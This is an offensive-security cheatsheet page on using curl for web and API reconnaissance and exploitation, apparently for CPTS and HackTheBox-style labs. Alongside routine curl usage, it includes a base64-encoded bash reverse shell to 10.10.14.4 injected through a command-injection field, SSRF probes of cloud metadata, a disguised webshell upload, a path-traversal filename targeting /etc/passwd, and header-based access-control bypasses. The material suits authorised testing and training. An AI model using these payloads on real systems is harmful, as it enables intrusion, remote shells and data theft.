WEB^:Web

cURL

cURL for web and API testing: methods and bodies, auth, cookies, reading a response to pick the next request, uploads, proxies, header manipulation and scripting.

beginnerupdated 2026-10-13curl · jq

cURL

API reconnaissance and exploitation from the shell. For headers-first recon, wget and file transfers, see the curl + wget Field Card.

1. Global flags worth memorising

curl is a command-line client for HTTP(S) and many other protocols. For offensive work it is the fastest way to drive an API, test auth, move files and proxy a request chain through Burp.

FlagEffect
-s / -vsilent / verbose (> lines sent, < lines received)
-i / -Iinclude response headers / HEAD only
-D -dump headers to stdout — use instead of -I when the server treats HEAD differently
-Lfollow redirects
-kskip TLS verification
-o file / -Owrite to file / keep the remote filename
-w fmtwrite-out template, e.g. '%{http_code}\n'
-m / --connect-timeouttotal / connect timeout
curl -V          # version and which protocols this build supports

2. Recon

# Status and headers together
curl -is http://target/api

# Follow redirects, headers from every hop
curl -sIL http://target

# Status, size and where it redirects, on one line
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}\n' http://target
# Probe well-known API entry points. Quote the URL so curl's own globbing
# expands it — unquoted, bash expands the braces first and the behaviour
# differs between shells.
curl -s 'http://target/{api,api/v1,.well-known/openapi.json}'

# Quick path sweep. %{url_effective} is the portable write-out variable;
# %{url} only exists on curl 7.75+.
for p in auth users admin; do
  curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" "http://target/api/v1/$p"
done

3. Methods and bodies

# Form-encoded. -d implies POST and sets the content type.
curl -s http://target/login --data 'username=alice&password=Password123!'

# Let curl encode a value that contains & = + or spaces
curl -s http://target/search --data-urlencode 'q=<script>alert(1)</script>'

# JSON. --json sets Content-Type and Accept in one flag (curl 7.82+).
curl -s --json '{"name":"widget","price":1.99}' http://target/api/v1/items | jq

# JSON on an older curl, or from a file
curl -s -H 'Content-Type: application/json' -d @body.json http://target/api

# PUT / PATCH / DELETE
curl -sX PUT    http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"email":"a@b.c"}'
curl -sX PATCH  http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"is_admin":1}'
curl -sX DELETE http://target/api/v1/user/1

# -G turns -d into a query string instead of a body
curl -sG http://target/search -d 'q=admin' -d 'page=1'
curl -sG http://target/item --data-urlencode 'id=1 OR 1=1'

Note — Reach for -X only when you need a method curl would not pick itself. -X GET alongside -d is a classic self-inflicted bug: curl still sends the body, and some servers ignore it. Use -G for that.

4. Cookies and sessions

# Send a cookie copied from the browser
curl -s http://target/api -b 'PHPSESSID=abcd...'

# Log in, save the jar, reuse it. Read and write the same jar for multi-step flows.
curl -s -c jar.txt -b jar.txt http://target/login -d 'u=a&p=b'
curl -s -c jar.txt -b jar.txt -L http://target/dashboard

5. Authentication

curl -su user:pass http://target/admin                      # Basic
curl -s --digest -u user:pass http://target/admin           # Digest
curl -s -H 'Authorization: Bearer <TOKEN>' http://target/api/me   # Bearer / JWT
curl -s --ntlm -u 'DOMAIN\user:pass' http://win-target/     # NTLM, common on IIS intranets
curl -s --negotiate -u : --service-name HTTP --delegation always http://kerb-target/   # Kerberos

A 401 with WWW-Authenticate tells you which scheme to use:

WWW-Authenticate: Basic realm="admin"
WWW-Authenticate: Bearer
WWW-Authenticate: NTLM

NTLM in that header often leaks the domain name in the challenge — worth capturing with -v.

6. Reading the response to pick the next request

Most API work is a loop: send something, read what the server complains about, send a better request. The table covers the common signals; the recipes below are the ones with a real technique in them.

ResponseWhat it meansNext request
302 + Set-Cookiesession started-L -c jar.txt -b jar.txt
401missing or invalid credentialssupply a cookie or Authorization
403authenticated but not permittedtry another role, or an adjacent endpoint
405 + Allow:wrong verbuse a listed method, or ask with -X OPTIONS
415 / 422 + field listwrong body shapematch the content type, then add the named fields
Content-Disposition: attachmenta file, not a page-OJ to save it under the server’s name
X-RateLimit-Remaining: 0throttledsleep until X-RateLimit-Reset

Error-led field probing

The server will usually tell you what it wants if you let it. Add fields until it stops complaining:

SESSION='PHPSESSID=nufb0km8892s1t9kraqhqiecj6'
BASE='http://2million.htb'

curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
  -H 'Content-Type: application/json' -d '{"email":"test@2million.htb"}' | jq
# => { "status": "danger", "message": "Missing parameter: is_admin" }

curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
  -H 'Content-Type: application/json' -d '{"email":"test@2million.htb","is_admin":true}' | jq

CSRF tokens

Extract the token and keep the cookie jar from the same request that issued it — a token from one session will not validate against another:

<input type="hidden" name="csrf_token" value="abc123"/>
TOKEN=$(curl -s -c jar.txt -b jar.txt "$BASE/profile" \
  | sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p')
curl -s -X POST "$BASE/profile/update" -c jar.txt -b jar.txt \
  --data "name=alice&csrf_token=$TOKEN"

Pagination and rate limits

# Walk the Link header
NEXT=$(curl -si "$BASE/api/v1/items?page=1" -b "$SESSION" \
  | sed -n 's/.*<\([^>]*\)>; rel="next".*/\1/p')
[ -n "$NEXT" ] && curl -s "$NEXT" -b "$SESSION" | jq

# Wait out a 429 instead of hammering through it
RESET=$(curl -si "$BASE/api/v1/search?q=admin" | awk -F': ' '/^X-RateLimit-Reset/{print $2}')
WAIT=$(( RESET - $(date +%s) )); [ "$WAIT" -gt 0 ] && sleep "$WAIT"
curl -s "$BASE/api/v1/search?q=admin"

RESTful guesses when there are no docs

EndpointConvention
/api/v1/postsGET lists, POST creates
/api/v1/posts/123GET reads, PUT replaces, PATCH partially updates, DELETE removes
/login, /authPOST with credentials
/settings/update, /generatePOST or PUT with a JSON body

7. File uploads

# multipart/form-data. The field name comes from the HTML: <input type="file" name="upload">
curl -s -X POST http://target/upload -F 'upload=@/tmp/poc.txt'

# Forge the type and the filename the server stores
curl -s -X POST http://target/upload \
  -F 'file=@/path/webshell.php;type=image/gif;filename=cat.gif' \
  -F 'submit=Upload'

# Traversal in the stored filename
curl -s -X POST http://target/upload -F 'file=@/tmp/poc.txt;filename=..%2f..%2fetc%2fpasswd'

# PUT raw bytes to a writable path
curl -sT ./payload.bin http://target/uploads/payload.bin

8. Downloads and ranges

# Save under the server's own filename, honouring Content-Disposition
curl -sOJ http://target/files/report

# Fetch the first kilobyte only. The range flag is -r / --range.
curl -s -r 0-1024 http://target/large.iso -o head.bin

9. Proxies and TLS

# Through Burp, so the request lands in HTTP history and can be replayed there
curl -sk -x http://127.0.0.1:8080 http://target

# Through a chisel/ligolo SOCKS pivot. Use --socks5-hostname so DNS resolves
# on the far side; plain --socks5 resolves locally and leaks or fails.
curl -s --socks5-hostname 127.0.0.1:1080 http://intranet

# Pin a name to an address for this request only — also fixes SNI on HTTPS
curl -sk --resolve internal:443:10.0.0.5 https://internal/

# Force a protocol version
curl -s --http2 https://target
curl -s --http1.1 https://legacy

10. Header manipulation

# Virtual host routing and SSRF pivots
curl -s https://edge --resolve api.intra:443:10.0.0.5 -H 'Host: api.intra'

# CORS / CSRF origin checks
curl -s http://target/endpoint -H 'Origin: https://trusted.example' -H 'Referer: https://trusted.example/page'

# Access-control headers that proxies honour but apps forget to strip
curl -s http://target -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /admin'

# Header names are case-insensitive; some filters are not
curl -s http://target -H 'hOsT: admin'

# A header with nothing after the colon removes it entirely
curl -s http://target -H 'User-Agent:'

11. SSRF probing

# Cloud metadata through a URL parameter (AWS IMDSv1 shown)
curl -s 'http://target/proxy?url=http://169.254.169.254/latest/meta-data/'

# Out-of-band confirmation when the response body is blind
curl -s 'http://target/fetch?u=http://<id>.oast.site/'

12. Debugging and output control

curl -s -o /dev/null -w '%{http_code}\n' http://target        # status only
curl -s -D headers.txt -o body.json http://target/api         # split headers and body
curl -s -w '%{time_namelookup} %{time_connect} %{time_total}\n' -o /dev/null http://target
curl --trace-ascii trace.txt http://target                    # full raw exchange

Tip — When a request misbehaves, add -v. If it still makes no sense, add -x http://127.0.0.1:8080 and read it in Burp.

13. Automation and chaining

# Sweep a path list in parallel. Keep -P low and respect rate limits.
xargs -a endpoints.txt -I{} -P5 \
  curl -s -o /dev/null -w '{} -> %{http_code}\n' 'http://target{}'

# Capture a token and reuse it
AUTH=$(curl -s http://target/login -d 'u=a&p=b' | jq -r '.token')
curl -s http://target/me -H "Authorization: Bearer $AUTH" | jq

Driving an injection point through curl, where the payload has to survive both the shell and the URL:

# Let --data-urlencode do the encoding rather than hand-escaping
curl -sG http://target/api/v1/ping --data-urlencode 'host=127.0.0.1;id'

# Base64 the reverse shell so quoting survives the round trip
PAY=$(echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64 -w0)
curl -s -X POST http://target/api/v1/admin/vpn/generate \
  -H 'Content-Type: application/json' -b "$SESSION" \
  -d "{\"username\":\"test;echo $PAY | base64 -d | bash;\"}"

Warning — Test only with explicit written authorisation. Several of the above are intrusive and can disrupt a service.

14. Bypass techniques

# Framework method override, when the real verb is filtered at the edge
curl -s -X POST http://target/item/1 \
  -H 'Content-Type: application/json' -H 'X-HTTP-Method-Override: DELETE' -d '{}'

# Content-Type confusion: the parser that reads the body and the filter that
# inspected it may disagree about the charset
curl -s -X POST http://target/api -H 'Content-Type: application/json; charset=utf-7' -d '{}'

15. Quick reference

TaskFlags
Follow redirects-L
HTTP(S) proxy-x http://127.0.0.1:8080
SOCKS proxy, remote DNS--socks5-hostname 127.0.0.1:1080
Send a header / remove one-H 'K: v' / -H 'K:'
Cookie jar-c jar.txt -b jar.txt
Form body / query string-d / -G -d
JSON body--json '{...}'
Upload multipart / PUT a file-F 'f=@/path/file' / -T file.bin
Byte range-r 0-1024
Output control-o file, -D headers.txt, -w fmt
Pin a hostname--resolve host:port:addr
Insecure TLS-k

16. Resources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.